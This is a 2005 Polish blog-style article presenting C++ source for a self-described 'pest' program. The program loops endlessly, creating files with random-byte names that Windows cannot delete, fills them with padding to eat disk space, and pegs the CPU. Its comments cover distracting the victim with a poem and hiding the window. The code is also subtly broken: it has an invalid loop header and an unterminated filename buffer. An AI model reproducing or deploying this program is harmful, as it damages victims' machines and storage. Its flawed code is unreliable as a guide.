News 
Products 
Articles 
Other 

Sposób na tworzenie plików którch usunięcie nie jest możliwe

usunięcie,plików,pliku,usuwanie,brak,możliwości
Pisząc w 1999 r. program, który miał być małym "szkodnikiem" wpadłem na ciekawe zjawisko.
Otóż, gdy do tablicy char wpiszemy losowo wybrane wartości, a następnie zapiszemy na dysku plik o nazwie takiej jak wspomniana tablica, to takiego pliku nie wykasujemy z poziomu systemu Windows. Dzieje się tak, ponieważ nazwa pliku składa się ze znaków, których nie moglibyśmy normalnie użyć przy zmianie nazwy pliku i przez to system przy próbie odczytu lub zapisu do pliku pokazuje komunikat "Nie znaleziono pliku!". Pliki można wykasować dopiero z poziomu DOS'u. Ale kasowanie dużej ilości plików w tym środowisku może trwać godzinami! Dlatego też ten program tak mi się spodobał. Aplikacja działa również w systemach z serii Windows XP/NT.
Poniżej zamieszczam kod źródłowy programu w C++.
Linijki rozpoczynające się od // to komentarze, które można wyciąć.



//dolaczanie bibliotek
#include <time.h>
#include <conio.h>
#include <stdlib.h>
#include <iostream.h>
#include <fstream.h>
main()
{
//tworzenie zmiennych
long int a;
char  slowa[1000];
char plik[6];
//program wyswietla wierszyk, aby zajac czyms uzytkownika na czas tworzenia plików
//im tekst głupszy, tym lepiej - zmusza do myślenia,a tym samym daje nam więcej czasu
//mozna oczywiscie rowniez ukryc aplikacje przy pomocy funkcji Windows API ShowWindow
cout<<"Byla sobie swinka mala\n co raz bardzo sie wysmiala\nbo jej sie wydawalo\nze litr 'Lenora' to malo.\nAch jaka ta swinka glupia byla\n,ze tak sie wyglupila,\nchciala oszukac sklep\ni dostala w leb.\nZ tad przestroga taka:\nKiedy litr 'Lenora' kupujesz wyrzuc go\nbo pozalujesz.\n";

//program uzupelnia zmienna slowa jedynkami
for(int ormo=0;ormo<1000;ormo++)
{
slowa[ormo] = '1';
}

//start petli tworzacej w kólko pliki
//(petla nieskonczona zabiera 100% zasobów procesora - okienko Alt+Ctrl+Del pojawi sie w opóznieniu)
for(;;;)
{
randomize();
//i to jest najwazniejsze miejsce - tutaj program losuje nazwe pliku
plik[0]=random(255);
ofstream pisz(plik, ios::out | ios::app );
//do pliku zapisujemy zmienna slowa kilka razy aby dodatkowo pliki zajmowaly miejsce na dysku
pisz<<slowa<<slowa<<slowa<<slowa<<slowa<<slowa<<slowa<<
slowa<<slowa<<slowa<<slowa<<slowa<<slowa;
}

cout<<"Zapraszam na www.zurawek.com";
}






usunięcie,plików,pliku,usuwanie,brak,możliwości
Create date: Nov 22, 2005 | Last modification: Nov 22, 2005 Users' comments [2]

Lubię czytać